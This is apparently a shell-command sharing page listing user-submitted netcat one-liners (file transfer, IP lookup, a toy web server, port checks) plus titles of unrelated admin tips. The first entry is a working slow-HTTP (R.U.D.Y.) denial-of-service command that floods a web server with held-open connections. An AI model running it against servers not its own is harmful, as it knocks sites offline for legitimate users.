Commands tagged netcat (31)

  • Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!


    -1
    for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done
    elceef · 2015-04-15 14:02:55 9
  • This is useful for sending data between 2 computers that you have shell access to. Uses tar compression during transfer. Files are compressed & uncompressed automatically. Note the trailing dash on the listening side that makes netcat listen to stdin for data. on the listening side: sudo nc -lp 2022 | sudo tar -xvf - explanation: open netcat to -l listen on -p port 2022, take the data stream and pipe to tar -x extract, -v verbose, -f using file filename - means "stdin" on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022 explanation: compress all files in current dir using tar -c create, -v verbose, -f using file, - filename - here means "stdout" because we're tar -c instead of tar -x, -w3 wait 3 seconds on stream termination and then end the connection to the listening host name_of_listening_host, on port 2022


    -2
    on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022
    smcpherson · 2009-03-27 09:59:33 12
  • Here's a version that uses netcat (although I'd much rather use curl!).


    -2
    echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifconfig.me 80 | sed -n '/^[0-9]/p'
    putnamhill · 2010-06-16 19:08:05 3
  • -k, --keep-open will keep connection alive, and we could exclude using 'while true' nc is such a powerful command, it could be used instead of any OS! :p Show Sample Output


    -2
    nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?</p>"'
    gvitalie · 2013-11-12 14:00:11 7

  • -3
    nc <ip> <port> -v
    andreisid · 2011-03-11 16:37:09 3

  • -3
    fuser -n tcp -s <port> && echo "+open"
    cicatriz · 2011-03-11 19:06:10 3
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Run a command only when load average is below a certain threshold
Good for one off jobs that you want to run at a quiet time. The default threshold is a load average of 0.8 but this can be set using atrun.

Convert spaces in file names to underscores

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

list folders containing less than 2 MB of data
This command will search all subfolders of the current directory and list the names of the folders which contain less than 2 MB of data. I use it to clean up my mp3 archive and to delete the found folders pipe the output to a textfile & run: $ while read -r line; do rm -Rv "$line"; done < textfile

Burn CD/DVD from an iso, eject disc when finished.
cdrecord -scanbus will tell you the (x,y,z) value of your cdr (for example, mine is 3,0,0)

Run a command for blocks of output of another command
The given example collects output of the tail command: Whenever a line is emitted, further lines are collected, until no more output comes for one second. This group of lines is then sent as notification to the user. You can test the example with $ logger "First group"; sleep 1; logger "Second"; logger "group"

batch convert Nikon RAW (nef) images to JPG
converts RAW files from a Nikon DSLR to jpg for easy viewing etc. requires ufraw package

a function to create a box of '=' characters around a given string.
First argument: string to put a box around. Second argument: character to use for box (default is '=') Same as command #4948, but shorter, and without the utility function.

Backup all mysql databases to individual files on a remote server
It grabs all the database names granted for the $MYSQLUSER and gzip them to a remote host via SSH.

Most used commands from history (without perl)
I copied this (let's be honest) somewhere on internet and I just made it as a function ready to be used as alias. It shows the 10 most used commands from history. This seems to be just another "most used commands from history", but hey.. this is a function!!! :D


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